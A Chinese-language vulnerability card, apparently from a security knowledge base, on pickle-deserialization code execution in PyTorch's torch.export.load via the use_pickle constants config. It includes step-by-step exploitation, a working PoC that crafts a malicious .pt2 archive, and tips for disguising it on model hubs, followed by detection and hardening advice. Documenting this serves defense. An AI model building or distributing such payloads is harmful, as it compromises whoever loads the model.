PyTorch torch.export.load 加载 .pt2 常量配置 use_pickle=true:_load_constants 硬编码 weights_only=False 反序列化 RCE
ai-security/supply-chain · verified
一句话结论
.pt2 归档中的常量配置文件(*_constants_config.json)由文件自身声明每个常量的加载方式;只要某条记录的 path_name 以 tensor 开头且 use_pickle 为 true,torch.export.load() 内部的 _load_constants() 就会读取对应文件并执行 torch.load(io.BytesIO(bytes), weights_only=False),加载恶意 .pt2 即触发 pickle 反序列化任意代码执行,且公开 API 没有 weights_only 参数可供调用方关闭。
原理
torch.export.save()生成的.pt2本质是 ZIP 归档,除模型结构、state_dict 外还保存“常量”(constants)及其配置。加载入口torch.export.load(f)调用load_pt2(f),后者枚举归档条目后进入_load_exported_programs(),再对每个模型调用_load_constants(archive_reader, model_name)。_load_constants()读取constants_config_file = CONSTANTS_CONFIG_FILENAME_FORMAT.format(model_name)(即model_constants_config.json),解析constants_config.config中每个constant_fqn对应的payload_meta,再依据payload_meta.path_name的前缀决定加载方式。- 漏洞分支的条件是:
path_name.startswith(TENSOR_CONSTANT_FILENAME_PREFIX)(前缀为tensor)且payload_meta.use_pickle为真。满足后代码读取data/constants/<path_name>的字节,并调用torch.load(io.BytesIO(constant_bytes), weights_only=False)。weights_only=False是硬编码常量,torch.export.load()的签名中也没有该参数,调用方无法覆盖。 weights_only=False使torch.load走完整 pickle 反序列化:pickle 在还原对象时执行对象__reduce__()返回的 callable 与参数,因此构造一个__reduce__返回(os.system, (cmd,))的对象并用torch.save序列化,即可在“加载常量”阶段执行任意命令。- 关键设计缺陷是“安全开关由不可信文件自己提供”:
use_pickle只是归档 JSON 中的普通布尔字段,而path_name也只是普通字符串;攻击者可以自由编辑两者。归档其余条目保持原模板内容,恶意常量只是额外插入的一条配置项;原文 PoC 截图显示torch.export.load()正常返回、进程退出码 0(未进一步验证返回对象的功能)。 - 另一条相关分支
path_name.startswith(CUSTOM_OBJ_FILENAME_PREFIX)会调用torch._C._pickle_load_obj(constant_bytes),同样属于反序列化攻击面;本篇原文的 PoC 走tensor+use_pickle分支。 - 原测试环境为 PyTorch
2.11.0.dev20260110,作者称该“最新版本仍存在此漏洞”,说明该路径尚未被默认安全策略覆盖。
触发条件
- 受害者使用
torch.export.load()加载来源不可信的.pt2文件(模型仓库下载、邮件附件、CI 制品、共享目录、推理服务挂载模型等)。 - 目标 PyTorch 版本包含上述
_load_constants()实现(原文实测 2.11.0.dev20260110)。 - 归档内
model_constants_config.json中存在path_name以tensor开头且use_pickle: true的记录,且data/constants/下对应文件为恶意 pickle 字节。 - 加载进程未被沙箱隔离,且运行用户具备命令执行权限(通常即开发者或推理节点权限)。
利用步骤
- 用官方 API 生成一个干净模板:定义简单
torch.nn.Module,调用torch.export.export()导出并torch.export.save()保存为victim.pt2。 - 用
PT2ArchiveReader打开模板,枚举条目,找到文件名以_constants_config.json结尾的配置并解析 JSON。 - 用
pickle(或torch.save配合DEFAULT_PICKLE_PROTOCOL)序列化恶意对象:其__reduce__()返回(exec, (payload_code,))或(os.system, (cmd,))。 - 用
PT2ArchiveWriter重新打包:复制除配置外的全部条目;把恶意字节写入data/constants/tensor_666(文件名必须以tensor开头);在配置的config中插入一条记录:{path_name: "tensor_666", is_param: false, use_pickle: true, tensor_meta: null};写回配置文件。 - 受害者执行
torch.export.load("victim_malicious.pt2"):load_pt2 → _load_exported_programs → _load_constants命中漏洞分支,torch.load(..., weights_only=False)触发__reduce__,命令执行。 - 验证:载荷写入标记文件(如
/tmp/pt2_pwned)或拉起计算器;即使后续反序列化模型结构时报错,命令已在torch.load阶段执行。
PoC
import io, json, os
import torch
import torch.nn as nn
from torch.export.pt2_archive import _package, constants
class Victim(nn.Module):
def forward(self, x):
return x + 1
# 1) 生成干净模板
ep = torch.export.export(Victim(), (torch.randn(1, 3, 224, 224),))
torch.export.save(ep, "victim.pt2")
# 2) 恶意 pickle:__reduce__ 返回可执行 callable
class UniversalPayload:
def __reduce__(self):
code = "import os; os.system('id > /tmp/pt2_pwned')"
return (exec, (code,))
# 3) 重新打包并注入恶意常量
reader = _package.PT2ArchiveReader("victim.pt2")
files = reader.get_file_names()
cfg_name = [f for f in files if f.endswith("_constants_config.json")][0]
config = json.loads(reader.read_string(cfg_name))
with _package.PT2ArchiveWriter("victim_malicious.pt2") as writer:
for name in files:
if name != cfg_name:
writer.write_bytes(name, reader.read_bytes(name))
buf = io.BytesIO()
torch.save(UniversalPayload(), buf,
pickle_protocol=_package.DEFAULT_PICKLE_PROTOCOL)
payload_path = constants.CONSTANTS_DIR + "tensor_666"
writer.write_bytes(payload_path, buf.getvalue())
config["config"]["exploit.constant"] = {
"path_name": "tensor_666", # 必须以 "tensor" 开头
"is_param": False,
"use_pickle": True, # 触发 weights_only=False 分支
"tensor_meta": None,
}
writer.write_string(cfg_name, json.dumps(config, indent=2))
# 4) 受害者侧触发
torch.export.load("victim_malicious.pt2")
变体与关联
- 变体:常量文件名不必是
tensor_666,只要以tensor开头即可;可插入多条记录,或把path_name指向归档内任意路径的载荷。 - 变体:把恶意
.pt2伪装成正常导出/编译模型,通过模型市场、CI 制品、推理服务模型目录投递;归档保持结构合法,常规“能加载成功”检查无法发现。 - 关联:[[ai-security-supply-chain-pytorch-export-load-use-pickle-rce]](同一
torch.export.load体系,但走model_weights_config.json+_load_state_dict分支;本卡走model_constants_config.json+_load_constants且带tensor前缀条件)。 - 关联:[[ai-security-supply-chain-pytorch-dcp-load-bytes-weights-only-pickle-rce]](分布式检查点
load_bytes的同类weights_only=Falsesink)、[[ai-security-supply-chain-llamafactory-value-head-torch-load-pickle-rce]](应用层裸调torch.load)。 - 边界:原文未给 CVE 编号;受影响范围仅有实测版本 2.11.0.dev20260110,其他版本需按
_load_constants实现核对。
检测与防御
- 检测:加载前解包
.pt2,审计model_constants_config.json:拒绝任何use_pickle: true的记录,尤其是path_name以tensor开头的;检查data/constants/下文件是否为合法张量格式而非 pickle 字节流(搜索GLOBAL、STACK_GLOBAL、os.system、subprocess、socket等 opcode/字符串)。 - 修复:在
_load_constants中把torch.load(..., weights_only=False)改为weights_only=True,或直接拒绝归档声明的use_pickle分支;为torch.export.load()提供可覆盖且默认安全的weights_only参数。 - 加固:把不可信
.pt2视为可执行代码,在无网络、低权限、只读文件系统的容器/沙箱中加载;优先使用safetensors等纯权重格式;固定模型 revision 并校验 hash/签名。 - 防御:模型仓库与 CI 对上传的
.pt2做结构审计与 pickle 扫描;监控加载进程拉起 shell/计算器等异常子进程及异常出站连接。